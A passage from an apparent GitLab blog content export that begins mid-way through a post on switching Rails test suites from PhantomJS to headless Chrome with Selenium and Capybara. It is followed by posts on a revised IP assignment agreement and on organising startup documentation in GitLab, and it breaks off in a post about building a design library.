rendered in a real browser did introduce several\nedge cases.\n\n## What is headless Chrome\n\nIn April of this year, [news spread](https://news.ycombinator.com/item?id=14101233)\nthat Chrome 59 would support a [native, cross-platform headless\nmode](https://www.chromestatus.com/features/5678767817097216). It was\npreviously possible to simulate a headless Chrome browser in CI/CD [using\nvirtual frame buffer](https://gist.github.com/addyosmani/5336747), but this\nrequired a lot of memory and extra complexities. A native headless mode is a\ngame changer. It is now possible to run integration tests in a headless\nenvironment on a real, modern web browser that our users actually use!\n\nSoon after this was revealed, Vitaly Slobodin, PhantomJS's chief developer,\nannounced that the project [would no longer be\nmaintained](https://github.com/ariya/phantomjs/issues/15105#issuecomment-322850178):\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-cards=\"hidden\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">This is the end - \u003Ca href=\"https://t.co/GVmimAyRB5\">https://t.co/GVmimAyRB5\u003C/a>\u003Ca href=\"https://twitter.com/hashtag/phantomjs?src=hash&amp;ref_src=twsrc%5Etfw\">#phantomjs\u003C/a> 2.5 will not be released. Sorry, guys!\u003C/p>&mdash; Vitaly Slobodin (@Vitalliumm) \u003Ca href=\"https://twitter.com/Vitalliumm/status/852450027318464513?ref_src=twsrc%5Etfw\">April 13, 2017\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nIt became clear that we would need to make the transition away from PhantomJS at\nsome point, so we [opened up an issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/30876),\ndownloaded the Chrome 59 beta, and started looking at options.\n\n### Frontend tests (Karma)\n\nOur frontend test suite utilizes the [Karma](http://karma-runner.github.io/)\ntest runner, and updating this to work with Google Chrome was surprisingly\nsimple ([here's the merge request](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/12036)).\nThe [karma-chrome-launcher](https://github.com/karma-runner/karma-chrome-launcher)\nplugin was very quickly updated to support headless mode starting from\n[version 2.1.0](https://github.com/karma-runner/karma-chrome-launcher/releases/tag/v2.1.0),\nand it was essentially a drop-in replacement for the PhantomJS launcher. Once\nwe [re-built our CI/CD build images](https://gitlab.com/gitlab-org/gitlab-build-images/merge_requests/41)\nto include Google Chrome 59 (and fiddled around with some pesky timeout\nsettings), it worked!  We were also able to remove some rather ugly\nPhantomJS-specific hacks that Jasmine required to spy on some built-in browser\nfunctions.\n\n### Backend feature tests (RSpec + Capybara)\n\nOur feature tests use RSpec and [Capybara](https://github.com/teamcapybara/capybara)\nto perform full end-to-end integration testing of database, backend, and\nfrontend interactions. Before switching to headless Chrome, we had used\n[Poltergeist](https://github.com/teampoltergeist/poltergeist) which is a\nPhantomJS driver for Capybara. It would spin up a PhantomJS browser instance\nand direct it to browse, fill out forms, and click around on pages to verify\nthat everything behaved as it should.\n\nSwitching from PhantomJS to Google Chrome required a change in drivers from\nPoltergeist to Selenium and [ChromeDriver](https://sites.google.com/a/chromium.org/chromedriver/).\nSetting this up was pretty straightforward. You can install ChromeDriver on\nmacOS with `brew install chromedriver` and the process is similar on any given\npackage manager in Linux. After this we added the `selenium-webdriver` gem to\nour test dependencies and configured Capybara like so:\n\n```ruby\nrequire 'selenium-webdriver'\n\nCapybara.register_driver :chrome do |app|\n  options = Selenium::WebDriver::Chrome::Options.new(\n    args: %w[headless disable-gpu no-sandbox]\n  )\n  Capybara::Selenium::Driver.new(app, browser: :chrome, options: options)\nend\n\nCapybara.javascript_driver = :chrome\n```\n\nGoogle says the [`disable-gpu` option is necessary for the time\nbeing](https://developers.google.com/web/updates/2017/04/headless-chrome#cli)\nuntil some bugs are resolved. The `no-sandbox` option also appears to be\nnecessary to get Chrome running inside a Docker container for [GitLab's CI/CD\nenvironment](/topics/ci-cd/). Google provides a [useful guide for working with headless Chrome\nand Selenium](https://developers.google.com/web/updates/2017/04/headless-chrome).\n\nIn our final implementation we changed this to conditionally add the `headless`\noption unless you have `CHROME_HEADLESS=false` in your environment. This makes\nit easy to disable headless mode while debugging or writing tests. It's also\npretty fun to watch tests execute on the browser window in real time:\n\n```shell\nexport CHROME_HEADLESS=false\nbundle exec rspec spec/features/merge_requests/filter_merge_requests_spec.rb\n```\n\n![Tests Executing in Chrome](https://about.gitlab.com/images/blogimages/moving-to-headless-chrome/headlessless-chrome-tests.gif){: .shadow.center}\n\n### What is the differences between Poltergeist and Selenium?\n\nThe process of switching drivers here was not nearly as straightforward as\nit was with the frontend test suite. Dozens of tests started failing as soon\nas we changed our Capybara configuration, and this was due to some major\ndifferences in the way Selenium/ChromeDriver implemented Capybara's driver API\ncompared to Poltergeist/PhantomJS. Here are some of the challenges we ran into:\n\n1.  **JavaScript modals are no longer accepted automatically**\n\n    We often use JavaScript `confirm(\"Are you sure you want to do X?\");` click\n    events when performing a destructive action such as deleting a branch or\n    removing a user from a group. Under Poltergeist a `.click` action would\n    automatically accept modals like `alert()` and `confirm()`, but under\n    Selenium, you now need to wrap these with one of `accept_alert`,\n    `accept_confirm`, or `dismiss_confirm`. e.g.:\n\n    ```ruby\n    # Before\n    page.within('.some-selector') do\n      click_link 'Delete'\n    end\n\n    # After\n    page.within('.some-selector') do\n      accept_confirm { click_link 'Delete' }\n    end\n    ```\n\n1.  **Selenium `Element.visible?` returns false for empty elements**\n\n    If you have an empty `div` or `span` that you want to access in your test,\n    Selenium does not consider these \"visible.\" This is not much of an issue\n    unless you set `Capybara.ignore_hidden_elements = true` as we do in our\n    feature tests. Where `find('.empty-div')` would have worked fine in\n    Poltergeist, we now need to use `visible: :any` to\n    select such elements.\n\n    ```ruby\n    # Before\n    find('.empty-div')\n\n    # After\n    find('.empty-div', visible: :any)\n    # or\n    find('.empty-div', visible: false)\n    ```\n\n    More on [Capybara and hidden elements](https://makandracards.com/makandra/7617-change-how-capybara-sees-or-ignores-hidden-elements).\n\n1.  {:#trigger-method} **Poltergeist's `Element.trigger('click')` method does not exist in Selenium**\n\n    In Capybara, when you use `find('.some-selector').click`, the element you\n    are clicking must be both visible and unobscured by any overlapping\n    element. Situations where links could not be clicked would sometimes occur\n    with Poltergeist/PhantomJS due to its poor CSS support sans-prefixes.\n    Here's one example:\n\n    ![Overlapping elements](https://about.gitlab.com/images/blogimages/moving-to-headless-chrome/overlapping-element.png){: .shadow.center}\n\n    The broken layout of the search form here was actually placing an invisible\n    element over the top of the \"Update all\" button, making it unclickable.\n    Poltergeist offers a `.trigger('click')` method to work around this.\n    Rather than actually clicking the element, this method would trigger a DOM\n    event to simulate a click. Utilizing this method was a bad practice, but\n    we ran into similar issues so often that many developers formed a habit\n    of using it everywhere. This began to lead to some lazy and sloppy test\n    writing. For instance, someone might use `.trigger` as a shortcut to click\n    on an link that was obscured behind an open dropdown menu, when a properly\n    written test should `.click` somewhere to close the dropdown, and _then_\n    `.click` on the item behind it.\n\n    Selenium does not support the `.trigger` method. Now that we were using a\n    more accurate rendering engine that won't break our layouts, many of these\n    instances could be resolved by simply replacing `.trigger('click')` with\n    `.click`, but due to some of the bad practice uses mentioned above, this\n    didn't always work.\n\n    There are of course some ways to hack a `.trigger` replacement. You could\n    simulate a click by focusing on an element and hitting the \"return\" key,\n    or use JavaScript to trigger a click event, but in most cases we decided to\n    take the time and actually correct these poorly implemented tests so that a\n    normal `.click` could again be used. After all, if our tests are meant to\n    simulate a real user interacting with the page, we should limit ourselves\n    to the actions a real user would be expected to use.\n\n    ```ruby\n    # Before\n    find('.obscured-link').trigger('click')\n\n    # After\n\n    # bad\n    find('.obscured-link').send_keys(:return)\n\n    # bad\n    execute_script(\"document.querySelector('.obscured-link').click();\")\n\n    # good\n    # do something to make link accessible, then\n    find('.link').click\n    ```\n\n1.  **`Element.send_keys` only works on focus-able elements**\n\n    We had a few places in our code where we would test out our keyboard\n    shortcuts using something like `find('.boards-list').native.send_keys('i')`.\n    It turns out Chrome will not allow you to `send_keys` to any element that\n    cannot be \"focused\", e.g. links, form elements, the document body, or\n    presumably anything with a tab index.\n\n    In all of the cases where we were doing this, triggering `send_keys` on the\n    body element would work since that's ultimately where our event handler was\n    listening anyway:\n\n    ```ruby\n    # Before\n    find('.some-div').native.send_keys('i')\n\n    # After\n    find('body').native.send_keys('i')\n    ```\n\n1.  **`Element.send_keys` does not support non-BMP characters (like emoji)**\n\n    In a few tests, we needed to fill out forms with emoji characters. With\n    Poltergeist we would do this like so:\n\n    ```ruby\n    # Before\n    find('#note-body').native.send_keys('@💃username💃')\n    ```\n\n    In Selenium we would get the following error message:\n\n    ```\n    Selenium::WebDriver::Error::UnknownError:\n        unknown error: ChromeDriver only supports characters in the BMP\n    ```\n\n    To work around this, we added [a JavaScript method to our test bundle that\n    would simulate input and fire off the same DOM events](https://gitlab.com/gitlab-org/gitlab-ce/blob/a8b9852837/app/assets/javascripts/test_utils/simulate_input.js)\n    that an actual keyboard input would generate on every keystroke, then\n    wrapped this with a [ruby helper](https://gitlab.com/gitlab-org/gitlab-ce/blob/a8b9852837/spec/support/input_helper.rb)\n    method that could be called like so:\n\n    ```ruby\n    # After\n    include InputHelper\n\n    simulate_input('#note-body', \"@💃username💃\")\n    ```\n\n1.  **Setting cookies is much more complicated**\n\n    It's quite common to want to set some cookies before `visit`ing a page that\n    you intend to test, whether it's to mock a user session, or toggle a\n    setting. With Poltergeist, this process is really simple. You can use\n    `page.driver.set_cookie`, provide a simple key/value pair, and it will just\n    work as expected, setting a cookie with the correct domain and scope.\n\n    Selenium is quite a bit more strict. The method is now\n    `page.driver.browser.manage.add_cookie`, and it comes with two caveats:\n\n    - You cannot set cookies until you `visit` a page in the domain you intend\n      to scope your cookies to.\n    - Annoyingly, you cannot alter the `path` parameter (or at least we could\n      never get this to work), so it is best to set cookies at the root path.\n\n    Before you `visit` your page, Chrome's url is technically sitting at\n    something like `about:blank;`. When you attempt to set a cookie there, it\n    will refuse because there is no hostname, and you cannot coerce one by\n    providing a domain as an argument. The [Selenium\n    documentation](http://docs.seleniumhq.org/docs/03_webdriver.jsp#cookies)\n    suggests that you do the following:\n\n    > If you are trying to preset cookies before you start interacting with a\n    > site and your homepage is large / takes a while to load, an alternative is\n    > to find a smaller page on the site (typically the 404 page is small, e.g.\n    > `http://example.com/some404page`).\n\n    ```ruby\n    # Before\n    before do\n      page.driver.set_cookie('name', 'value')\n    end\n\n    # After\n    before do\n      visit '/some-root-path'\n      page.driver.browser.manage.add_cookie(name: 'name', value: 'value')\n    end\n    ```\n\n1.  **Page request/response inspection methods are missing**\n\n    Poltergeist very conveniently implemented methods like `page.status_code`\n    and `page.response_headers` which are also present in Capybara's default\n    `RackTest` driver, making it easy to inspect the raw response from the\n    server, in addition to the way that response is rendered by the browser. It\n    also allowed you to inject headers into the requests made to the server,\n    e.g.:\n\n    ```ruby\n    # Before\n    before do\n      page.driver.add_header('Accept', '*/*')\n    end\n\n    it 'returns a 404 page'\n      visit some_path\n\n      expect(page.status_code).to eq(404)\n      expect(page).to have_css('.some-selector')\n    end\n    ```\n\n    Selenium does not implement these methods, and [the authors do not intend\n    to add support for them](https://github.com/seleniumhq/selenium-google-code-issue-archive/issues/141#issuecomment-191404986),\n    so we needed to develop a workaround. Several people have suggested running\n    a proxy alongside ChromeDriver that would intercept all traffic to and from\n    the server, but this seemed to us like overkill. Instead, we opted to\n    create a [lightweight Rack middleware](https://gitlab.com/gitlab-org/gitlab-ce/blob/a8b9852837/lib/gitlab/testing/request_inspector_middleware.rb)\n    and a corresponding [helper class](https://gitlab.com/gitlab-org/gitlab-ce/blob/a8b9852837/spec/support/inspect_requests.rb)\n    that would intercept the traffic for inspection. This is similar to our\n    [RequestBlockerMiddleware](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/lib/gitlab/testing/request_blocker_middleware.rb)\n    that we were already using to intelligently `wait_for_requests` to complete\n    within our tests. It works like this:\n\n    ```ruby\n    # After\n    it 'returns a 404 page'\n      requests = inspect_requests do\n        visit some_path\n      end\n\n      expect(requests.first.status_code).to eq(404)\n      expect(page).to have_css('.some-selector')\n    end\n    ```\n\n    Within the `inspect_requests` block, the Rack middleware will log all\n    requests and responses, and return them as an array for inspection. This\n    will include the page being `visit`ed as well as the subsequent XHR and\n    asset requests, but the initial path request will be the first in the array.\n\n    You can also inject headers using the same helper like so:\n\n    ```ruby\n    # After\n    inspect_requests(inject_headers: { 'Accept' => '*/*' }) do\n      visit some_path\n    end\n    ```\n\n    This middleware should be injected early in the stack to ensure any other\n    middleware that might intercept or modify the request/response will be\n    seen by our tests. We include this line in our test environment config:\n\n    ```ruby\n    config.middleware.insert_before('ActionDispatch::Static', 'Gitlab::Testing::RequestInspectorMiddleware')\n    ```\n\n1.  **Browser console output is no longer output to the terminal**\n\n    Poltergeist would automatically output any `console` messages directly into\n    the terminal in real time as tests were run. If you had a bug in the frontend\n    code that caused a test to fail, this feature would make debugging much\n    easier as you could inspect the terminal output of the test for an error\n    message or a stack trace, or inject your own `console.log()` into the\n    JavaScript to see what is going on. With Selenium this is sadly no longer the\n    case.\n\n    You can, however, collect browser logs by configuring Capybara like so:\n\n    ```ruby\n    capabilities = Selenium::WebDriver::Remote::Capabilities.chrome(\n      loggingPrefs: {\n        browser: \"ALL\",\n        client: \"ALL\",\n        driver: \"ALL\",\n        server: \"ALL\"\n      }\n    )\n\n    # ...\n\n    Capybara::Selenium::Driver.new(\n      app,\n      browser: :chrome,\n      desired_capabilities: capabilities,\n      options: options\n    )\n    ```\n\n    This will allow you to access logs with the following, i.e. in the event of\n    a test failure:\n\n    ```ruby\n    page.driver.manage.get_log(:browser)\n    ```\n\n    This is far more cumbersome than it was in Poltergeist, but it's the best\n    method we've found so far. Thanks to [Larry Reid's blog post](http://technopragmatica.blogspot.com/2017/10/switching-to-headless-chrome-for-rails_31.html)\n    for the tip!\n\n## Results\n\nRegarding performance, we attempted to quantify the change with a\nnon-scientific analysis of 10 full-suite RSpec test runs _before_ this change,\nand 10 more runs from _after_ this change, factoring out any tests that were\nadded or removed between these pipelines. The end result was:\n\n**Before:** 5h 18m 52s\n**After:** 5h 12m 34s\n\nA savings of about six minutes, or roughly 2 percent of the total compute time, is\nstatistically insignificant, so I'm not going to claim we improved our test\nspeed with this change.\n\nWhat we did improve was test accuracy, and we vastly improved the tools at our\ndisposal to write and debug tests. Now, all of the Capybara screenshots\ngenerated when a CI/CD job fails look exactly as they do on your own browser\nrather than resembling the broken PhantomJS screenshot above. Inspecting a\nfailing test locally can now be done interactively by turning off headless\nmode, dropping a `byebug` line into the spec file, and watching the browser\nwindow as you type commands into the prompt. This technique proved extremely\nuseful while working on this project.\n\nYou can find all of the changes we made in [the original merge request page\non GitLab.com](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/12244).\n\n## What are some additional uses for headless Chrome?\n\nWe have also been utilizing headless Chrome to analyze frontend performance, and have found it to be useful in detecting issues.\n\nWe'd like to make it easier for other companies to embrace as well, so as part of the upcoming 10.3 release of GitLab we are releasing [Browser Performance Testing](https://docs.gitlab.com/ee/user/project/merge_requests/browser_performance_testing.html). Leveraging [GitLab CI/CD](/solutions/continuous-integration/), headless Chrome is launched against a set of pages and an overall performance score is calculated. Then for each merge request the scores are compared between the source and target branches, making it easier detect performance regressions prior to merge.\n\n## Acknowledgements\n\nI sincerely hope this information will prove useful to anybody else looking to\nmake the switch from PhantomJS to headless Chrome for their Rails application.\n\nThanks to the Google team for their very helpful documentation, thanks to the\nmany bloggers out there who shared their own experiences with hacking headless\nChrome in the early days of its availability, and special thanks to Vitaly\nSlobodin and the rest of the contributors to PhantomJS who provided us with an\nextremely useful tool that served us for many years. 🙇‍\n\n\u003Cstyle>\n\n.center {\n  text-align: center;\n  display: block;\n  margin-right: auto;\n  margin-left: auto;\n}\n\ncode, kbd {\n  font-size: 80%;\n}\n\n\u003C/style>\n",[676,11037,942],{"slug":34333,"featured":6,"template":678},"moving-to-headless-chrome","content:en-us:blog:moving-to-headless-chrome.yml","Moving To Headless Chrome","en-us/blog/moving-to-headless-chrome.yml","en-us/blog/moving-to-headless-chrome",{"_path":34339,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34340,"content":34345,"config":34351,"_id":34353,"_type":16,"title":34354,"_source":17,"_file":34355,"_stem":34356,"_extension":20},"/en-us/blog/balanced-piaa",{"title":34341,"description":34342,"ogTitle":34341,"ogDescription":34342,"noIndex":6,"ogImage":29927,"ogUrl":34343,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34343,"schema":34344},"Announcing a more balanced Proprietary Information and Assignment Agreement","We've amended our PIAA to help our contributors maintain their ability to work on projects that are unrelated to GitLab business, including other open source projects.","https://about.gitlab.com/blog/balanced-piaa","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing a more balanced Proprietary Information and Assignment Agreement\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jamie Hurewitz\"}],\n        \"datePublished\": \"2017-12-18\",\n      }",{"title":34341,"description":34342,"authors":34346,"heroImage":29927,"date":34348,"body":34349,"category":299,"tags":34350},[34347],"Jamie Hurewitz","2017-12-18","\n\nWe recently [switched from a Contributor License Agreement (CLA) to a Developer's Certificate of\nOrigin (DCO)](/blog/gitlab-switches-to-dco-license/)\nto make it easier for everyone to contribute to GitLab. Now, we're taking our commitment to\nour core tenet, \"everyone can contribute,\" a step further. We're amending our Proprietary\nInformation and Assignment Agreement (PIAA) and putting clarifying processes in\nplace to help our contributors maintain their ability to work on projects that\nare unrelated to GitLab's business, including other open source projects.\n\n\u003C!-- more -->\n\nGitHub [announced the Balanced Employee Intellectual Property Agreement](https://github.com/blog/2337-work-life-balance-in-employee-intellectual-property-agreements)\n(BEIPA), an open source intellectual property (IP) agreement which seeks to take\na more balanced approach to assigning control over IP. We want to\nthank GitHub for taking the lead on a very important conversation. Their new\napproach inspired us to take a closer look at our own PIAA, make improvements to better clarify our\nposition, and encourage our contributors to work on projects outside of GitLab if they want to.\n\nWe [recently launched a Twitter poll](https://twitter.com/gitlab/status/938921270913019904)\nto assess the potential risk IP agreements pose to developers in our community.\nWe found that the majority of developers (85 percent) have a side project and nearly half\n(44 percent) have worried about the IP ownership of that project. Forty-four percent\nsay they have used company resources for a side project, potentially putting them\nat risk of violating their workplace IP agreement.\n\nAt GitLab, we want to give our contributors confidence that their developments\nwill *not* be owned by GitLab simply by virtue of their use of GitLab-issued computers,\nGitLab facilities, or the GitLab source code repository. Furthermore, we want to\nalleviate stress of not knowing whether they are in violation, given that there\nis necessarily some ambiguity about which projects relate to or don't relate to\nour business. So, we are making some changes.\n\nOne of [our values is boring solutions](https://handbook.gitlab.com/handbook/values/#efficiency).\nWith this in mind we looked at either adopting the BEIPA outright or contributing\nto the document. After considerable thought we concluded that it wasn’t possible\nto make either of these approaches work. Accordingly, we focused on improving our\nexisting PIAA.\n\n## Why the change?\n\nThe industry standard for intellectual property agreements tend to assign a broad\nswath of IP to the employer, making it difficult for a contributor to work on\noutside projects without being in violation of the agreement. The most important\npiece of any employee agreement is the definition of what IP is assigned from the\nemployee to the company.\n\nThe industry standard is to define the scope of the IP definition in three buckets:\n\n1. IP that relates to the current or prospective business of the company\n2. IP created by the employee as part of its work for the company\n3. IP created using materials, facilities, funding, or confidential information of the company\n\nWe want to alleviate the unnecessary risks posed to contributors posed by buckets 1 and 3 above.\n\n## What's changing\n\nAs a result of our internal review, we are making three important changes to our PIAA\nand processes related to outside creations developed by our contributors:\n\n1. We have entirely eliminated the section in our PIAA that would grant GitLab ownership\nin developments simply by virtue of the use of GitLab equipment, including\nGitLab-issued computers, GitLab facilities, or GitLab.com as a software\ndevelopment platform.\n\n2. In the event there is concern on our contributor’s behalf that there may be a gray\narea, we have created a process whereby GitLab can confirm that the development is\noutside the scope of GitLab’s business.\n\n3. We have [added plain language text to our publicly viewable Handbook](/handbook/people-group/contracts-probation-periods/#approval-for-outside-projects) that clarifies\nwhen contributors should seek further assurances from GitLab and when\nthey shouldn’t.  \n\nOur goal is to give contributors a way to gain confidence in their ability to pursue\nindependent projects ahead of time, and reduce the risk of potential conflicts down the line.\n",[736,815,676],{"slug":34352,"featured":6,"template":678},"balanced-piaa","content:en-us:blog:balanced-piaa.yml","Balanced Piaa","en-us/blog/balanced-piaa.yml","en-us/blog/balanced-piaa",{"_path":34358,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34359,"content":34364,"config":34370,"_id":34372,"_type":16,"title":34373,"_source":17,"_file":34374,"_stem":34375,"_extension":20},"/en-us/blog/an-agile-approach-to-documentation-and-structure",{"title":34360,"description":34361,"ogTitle":34360,"ogDescription":34361,"noIndex":6,"ogImage":29927,"ogUrl":34362,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34362,"schema":34363},"An Agile approach to documentation and structure","Combining flexibility and structure: why we decided to use GitLab.com for all UnscrewMe documentation and code to keep an overview, always find the relevant information quickly, and easily track progress.","https://about.gitlab.com/blog/an-agile-approach-to-documentation-and-structure","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"An Agile approach to documentation and structure\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Goetz Buerkle\"}],\n        \"datePublished\": \"2017-12-13\",\n      }",{"title":34360,"description":34361,"authors":34365,"heroImage":29927,"date":34367,"body":34368,"category":813,"tags":34369},[34366],"Goetz Buerkle","2017-12-13","\n\nWith an idea and a name, I was ready to start working more seriously on\n[UnscrewMe](http://unscrewme.co.uk/), a simple wine tasting scheduler app. Well, almost ready – to avoid ending up with a\nmess of files and folders and stuff scattered across different devices, and\ncertainly never where I need them, my next objective was to set up a central\nlocation where I could store and organize everything flexibly.\n\n\u003C!-- more -->\n\n## GitLab – selecting simple tools\n\nI wanted to keep the overhead low and the management of the documents simple,\nyet extensible enough to cover everything I would need to get started, including\nsimple lists, longer notes, logo drafts, and also more structured technical\nconcepts and even invoices.\n\nBeing a [Certified Scrum Product Owner](https://www.scrumalliance.org/certifications/practitioners/cspo-certification) and using a [GitLab](/) instance at work, I decided to take advantage of the free private repositories and use GitLab.com for UnscrewMe. This combines the simplicity of “just” storing everything in files and folders, with the advantage of being able to use Markdown for more advanced formatting, including sub headings, nested lists and images. And all information can easily be accessed on any device, either via Git directly or the GitLab.com web interface, which also renders Markdown files nicely.\n\nIn addition, project management features of GitLab like [issues](https://docs.gitlab.com/ee/user/project/issues/), [milestones](https://docs.gitlab.com/ee/user/project/milestones/) and\n[Issue Boards](/stages-devops-lifecycle/issueboard/) would provide a useful, flexible and lightweight framework to\ntrack my progress. By defining project phases and grouping all open tasks in\nvarious ways, I could get a quick overview of what I would need to do next,\nbefore I could actually launch my Minimum Viable Product (MVP).\nUsing the full power of GitLab.com, I created a “[Group](https://docs.gitlab.com/ee/user/group/index.html)” and three separate\nrepositories: one for all the general documentation, one for the actual web\napplication, and a third for the pre-launch website.\n\n## Defining a flexible structure\n\nYou could of course call my folder structure flawed, as it is not always entirely\nclear where new content or document should go, but so far it works fine for me.\nI started with a high-level view and specified six broad areas:\n* ideas – for anything largely creative\n* concepts – for more detailed specifications and drafts\n* business – for business plans and similar documents focused on the business in general\n* roadmap – to define the main steps without immediately looking at all the details\n* design – basically, everything that is not text\n* finance – for invoices, contracts, etc.\n\nThese six folders give me enough structure and flexibility to get started,\nwithout having to think too hard about what should go where.\nA couple of years ago, I started prepending most files I create with dates,\nlike “2017–08–31\". I find that adding dates are a useful primary sorting\ncriteria when trying to get a quick overview, so I stuck with this approach for\nmy new project as well, even though it might not be the perfect match for all files.\n\n## Google Keep – enabling quick, low-barrier content generation\n\nWith a system mainly based on text files, I could use any editor. As I started\nusing [Google Keep](https://www.google.com/keep/) for personal notes a few\nmonths ago, I knew that it was flexible and reliable enough for my needs.\n\nI do have a subscription for a very stripped-down text editor, but I must admit,\nthat I don’t like the barely existing interface too much, and started using\nGoogle Keep for many tasks instead. The big benefit of Google Keep, above the\nother web services I used to rely on for writing, is the support of writing\nnotes offline. While these days you mostly have 4G, 3G or wifi anyway, even on\nholiday, I did find myself sometimes at events or in places without connectivity.\nAnd then, being able to write something offline, that would automatically be\nsynchronized as soon as I would be online again, proved rather useful.\n\nThe only obvious drawback for me now is, that Google Keep does not support\nMarkdown for structure and formatting. But as Markdown markup is pretty minimal\nand easy to read, this hasn’t been much of a limitation.\n\nThe notes editor is simple and fast – I do not really need anything more\nadvanced or complicated. What I do value though it the possibility to add labels,\njust a different name for tags, and colors to notes. That way I can easily\ngroup my project notes together and even find the ones I am looking for quickly\nin my main view.\n\n## Visual Studio Code – lightweight editing with Markdown preview and Git support\n\nTo get my basic notes from Google Keep into GitLab, I used [Visual Studio Code](https://code.visualstudio.com/).\nIt is a simple editor with many useful plugins, making editing and checking\nMarkdown documents very convenient and supporting Git out of the box, which was\npretty much all I needed.\n\nOften, my Google Keep notes require just a little bit of cleanup, before they\nare ready to be committed to the Git repository.\nAs I use GitLab milestones and issues to structure all the work, I could also\ntake advantage of this when adding documents to the Git repository and making\nchanges. So I also reference the relevant issues in my commit messages using\n[GitLab Flavored Markdown](https://docs.gitlab.com/ee/user/markdown.html#gitlab-flavored-markdown-gfm) syntax.\n\nNext on my todo list was to [create a simple pre-launch website](https://medium.com/unscrewme/claiming-the-name-257b59d979b)\nto announce the new service, even before it was built. I did read a few times\nthat building a pre-launch website before starting to work on the application\ncode can help to gauge if there even is enough interest for the product. In my\ncase, I was not too concerned about this aspect, since first and foremost, I\nwanted to use my service, therefore by definition it would be worth the effort.\n\n*(I began writing this overview at [Pantry Marylebone](https://www.pantrymarylebone.com/)\nand finished it there too, a few days later. I wrote the final paragraphs there\nafter having had three wines at [108 Brasserie](http://108brasserie.com/) before:\na beautiful and well-balanced 2016 Picpoul de Pinet from Domaine Felines Jourdan\nin Languedoc in France, a surprisingly light and smooth 2016 Montepulciano\nd’Abruzzo from Il Faggio in Italy and a somewhat harsh and slightly disappointing\n2016 Beaujolais Vieilles Vignes par Vincent Fontaine from Domaine de la Rocailler, in France.)*\n\n## About the Guest Author\n\nGoetz Buerkle is currently working to launch UnscrewMe. There are so many wine\ntastings happening in London every day – UnscrewMe wants to help Londoners spend\nless time searching for wine events and more time tasting interesting wines\ninstead. [Keep up with the project](http://unscrewme.co.uk/).\n\n\n*[An Agile approach to documentation and structure](https://medium.com/unscrewme/an-agile-approach-to-documentation-and-structure-5fe4a14a6f2f) was originally published on Medium.*\n",[1899,815,4772],{"slug":34371,"featured":6,"template":678},"an-agile-approach-to-documentation-and-structure","content:en-us:blog:an-agile-approach-to-documentation-and-structure.yml","An Agile Approach To Documentation And Structure","en-us/blog/an-agile-approach-to-documentation-and-structure.yml","en-us/blog/an-agile-approach-to-documentation-and-structure",{"_path":34377,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34378,"content":34383,"config":34388,"_id":34390,"_type":16,"title":34391,"_source":17,"_file":34392,"_stem":34393,"_extension":20},"/en-us/blog/gitlab-design-library",{"title":34379,"description":34380,"ogTitle":34379,"ogDescription":34380,"noIndex":6,"ogImage":11919,"ogUrl":34381,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34381,"schema":34382},"Scaling design: The start of system thinking","How we began the process of introducing a design system to GitLab.","https://about.gitlab.com/blog/gitlab-design-library","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Scaling design: The start of system thinking\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taurie Davis\"}],\n        \"datePublished\": \"2017-12-12\",\n      }",{"title":34379,"description":34380,"authors":34384,"heroImage":11919,"date":34385,"body":34386,"category":734,"tags":34387},[19672],"2017-12-12","\n\nScaling design within an application is a struggle. Design systems help alleviate problems that arise with scaling by making it easier to find inconsistent interactions or conflicting messaging. However, it can be extremely difficult to introduce a new system to teams that are already functioning without one. Here's how we got started.\n\n\u003C!-- more -->\n\nWe took the initial step towards establishing our own system by creating a pattern library of reusable components that can be shared and reused across the application.\n\n## Design as a language\n\nConsistency within the UI and increased iteration speed are clear benefits for using a design library. This helps keep the application [DRY](http://programmer.97things.oreilly.com/wiki/index.php/Don't_Repeat_Yourself) and allows designers to focus their efforts on solving user needs, rather than recreating elements and reinventing solutions. In an effort to create a library that is understood by multiple teams, it's important to begin thinking about design as a language.\n\nYour design language is an integral part of a design system that clearly defines the semantics of your visual designs and allows your team to thoroughly document guidelines. It's important that the team not only understands how the system is built, but also the reasoning behind the choices made. This will ultimately help enable your team to build a library of components that support the semantics you have established.\n\n## Getting started\n\nKnowing where to start can be daunting. We began by first understanding the current state of our application. By auditing current designs that were implemented, we found numerous inconsistencies across our interface and determined that we lacked a solid design language to build from. A search within our variables revealed that we had **82 different gray values defined within the UI**. We also had an undefined type scale that included **at least 30 different values** in pixels, rems, and percentages.\n\nBy understanding the problems our current system had, we were able to start building a solid foundation to work from. We defined and documented our perceptual patterns which included styles that aid in the aesthetic of the brand: typography, icons, colors, and a measurement system.\n\n{: .text-center}\n![Library foundation](https://about.gitlab.com/images/blogimages/gitlab-design-library/library--styles@2x.png){: .shadow}\n\nOnce our perceptual patterns were defined, we started applying them to our components. We took a couple core pieces of our application and mocked them up using our new guidelines to ensure that our new rules were not too rigid and would be flexible enough to still encourage the creation of new ideas and methods while designing new components.\n\nOnce we nailed down our styles, we were able to start identifying functional patterns that needed to be built out using our new guidelines. Functional patterns include global modules that can be reused throughout your application, such as buttons, dropdowns, and tabs.\n\nThere were a few instances where our newly defined styles did not work well in our actual designs. For example, we determined that our 8px measurement system was too strict for right and left padding on horizontal tabs, buttons, and inputs. Although it was not a part of our measurement system, we decided as a team to create a new rule that would allow for a 12px measure in order better align stacked items while giving elements enough room to breathe.\n\n{: .text-center}\n![Library 